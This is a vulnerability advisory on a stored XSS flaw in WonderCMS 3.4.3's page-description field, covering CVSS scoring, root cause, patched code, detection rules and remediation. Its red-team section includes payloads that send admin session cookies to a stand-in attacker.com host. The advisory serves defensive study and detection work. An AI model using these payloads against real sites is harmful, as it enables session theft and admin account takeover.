CVE-2024-32745

Executive Summary

CVE-2024-32745 is a stored Cross-Site Scripting (XSS) vulnerability in WonderCMS v3.4.3, specifically within the Settings section under the CURRENT PAGE module. An attacker can inject arbitrary web scripts or HTML via the PAGE DESCRIPTION parameter. This vulnerability requires user interaction (e.g., an admin visiting a crafted page) and can lead to session hijacking, defacement, or redirection to malicious sites. No official patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct CMS application issue. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires user interaction, but the impact includes potential session theft and content manipulation.

Deep Dive & Mechanics

The vulnerability resides in the PAGE DESCRIPTION field within the Settings > Current Page module. The application fails to sanitize or encode user input before storing it in the database and rendering it in the admin panel. An attacker can craft a payload such as:

<script>alert('XSS')</script>

When an administrator views the affected page settings, the script executes in their browser context. This can be escalated to steal session cookies, perform actions on behalf of the admin, or inject malicious content.

Root Cause: Lack of output encoding and input validation on the PAGE DESCRIPTION parameter.

Vulnerable vs. Patched Code

Vulnerable Code (WonderCMS v3.4.3): The vulnerable code likely exists in the admin panel's settings handler. Example (pseudo-code):

// Vulnerable: Direct output without sanitization
echo "<textarea name='pageDescription'>" . $_POST['pageDescription'] . "</textarea>";

Patched Code (Hypothetical): A patch would involve HTML entity encoding:

// Patched: Use htmlspecialchars to encode output
echo "<textarea name='pageDescription'>" . htmlspecialchars($_POST['pageDescription'], ENT_QUOTES, 'UTF-8') . "</textarea>";

Additionally, input validation should strip script tags or use a whitelist approach.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WonderCMS v3.4.3 installed and accessible.
• Admin credentials or ability to trick an admin into visiting a crafted link.

Exploit Steps:

1. Log in to the WonderCMS admin panel.
2. Navigate to Settings > Current Page.
3. Inject the following payload into the PAGE DESCRIPTION field:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the settings.
5. When an admin views the page, the script executes, sending the session cookie to the attacker.

Alternative Payload (Session Stealing):

<img src=x onerror="fetch('http://attacker.com/steal?c='+document.cookie)">

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual POST requests to /admin/settings with script-like content in the pageDescription parameter.
• Use web application firewalls (WAF) to block common XSS patterns.

Hunting:

• Search logs for pageDescription containing <script, onerror, onload, or javascript:.
• Review database entries for the pageDescription field for encoded or raw script tags.

Lab Setup:

• Deploy WonderCMS v3.4.3 in a Docker container.
• Use Burp Suite or OWASP ZAP to intercept and modify the pageDescription parameter.
• Validate XSS by observing script execution in a browser.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from the CMS server.
  • POST requests to /admin/settings with pageDescription containing <script> or event handlers.
• File IOCs:
  • Modified database entries in the settings table with script tags in the pageDescription column.
• Behavioral IOCs:
  • Unexpected admin actions (e.g., new admin accounts, modified content) originating from the same session.

Detection Engineering

YARA Rule

rule CVE_2024_32745_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting WonderCMS PAGE DESCRIPTION parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-32745"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: WonderCMS XSS via PAGE DESCRIPTION Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts in WonderCMS admin settings
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/admin/settings'
        cs-request-body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-32745 WonderCMS XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/settings"; http_uri; content:"pageDescription"; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the PAGE DESCRIPTION field if not required, by modifying the template or using a WAF rule to block script tags.
2. Apply input validation: Strip all HTML tags from the pageDescription parameter using a server-side function like strip_tags().
3. Output encoding: Use htmlspecialchars() or equivalent when rendering the description.

Long-term Fix:

• Upgrade to a patched version of WonderCMS once available.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct regular security audits of CMS plugins and core code.

Workaround:

• Restrict admin panel access to trusted IPs only.
• Use a reverse proxy with WAF capabilities (e.g., ModSecurity) to filter malicious payloads.

Valters IT
Securing Digital Frontiers